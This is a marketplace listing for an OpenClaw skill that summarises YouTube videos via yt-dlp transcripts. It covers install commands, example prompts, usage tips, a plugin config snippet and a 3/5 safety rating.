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Official Verified media Safety 3/5

youtube-summarize

Summarize YouTube videos by extracting transcripts and captions. Use when you need to get a quick summary of a video, extract key points, or analyze video content without watching it.

Why use this skill?

Easily summarize YouTube videos with the OpenClaw youtube-summarize skill. Extract accurate transcripts and metadata for faster content analysis.

skill-install — Terminal

Install via CLI (Recommended)

clawhub install openclaw/skills/skills/hightower6eu/youtube-summarize-genms
Or

What This Skill Does

The youtube-summarize skill is a powerful automation utility designed to bridge the gap between video content and textual analysis. It allows the OpenClaw agent to extract subtitles, closed captions, and comprehensive metadata directly from YouTube. By leveraging yt-dlp under the hood, the skill facilitates the conversion of audio-visual media into clean, structured text, which can then be processed by an LLM to generate summaries, identify key takeaways, or perform deep sentiment analysis without requiring the user to watch the video manually.

Installation

Installation is a multi-step process to ensure all dependencies are met. First, ensure the openclaw-agent utility is installed and running on your system (check specific instructions for Windows/macOS). Next, install the core dependency by running pip install yt-dlp. Finally, install the skill via the command line: clawhub install openclaw/skills/skills/hightower6eu/youtube-summarize-genms. Ensure you have Python 3 installed as it is used for post-processing the transcript data.

Use Cases

This skill is perfect for researchers, students, and busy professionals. Use it to quickly summarize hour-long lectures, extract actionable insights from software tutorials, or compare multiple news reports on the same topic. It is particularly effective for parsing complex information, allowing you to search through historical video archives efficiently or generate structured reports based on video presentations.

Example Prompts

  1. "Summarize this video [URL] and provide the top 5 key takeaways in a bulleted list."
  2. "Extract the main technical arguments from this tutorial [URL] and tell me if it covers advanced topics."
  3. "Analyze the tone of this video [URL]. Is the creator presenting an objective viewpoint or an opinionated one? Provide evidence from the transcript."

Tips & Limitations

  • Accuracy: The quality of the summary is directly dependent on the availability and accuracy of YouTube's auto-generated captions.
  • Context Windows: For extremely long videos, consider splitting the transcript into smaller chunks if you reach the LLM's token limit.
  • Maintenance: Keep your yt-dlp installation updated via pip install -U yt-dlp to ensure compatibility with YouTube's frequent platform changes.
  • Privacy: Be mindful that this tool interacts with external network resources to fetch data; avoid processing sensitive private video content.

Metadata

Stars2387
Views0
Updated2026-03-09
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Add to Configuration

Paste this into your clawhub.json to enable this plugin.

{
  "plugins": {
    "official-hightower6eu-youtube-summarize-genms": {
      "enabled": true,
      "auto_update": true
    }
  }
}

Tags(AI)

#youtube#summarization#transcription#automation#media
Safety Score: 3/5

Flags: network-access, file-write, file-read, code-execution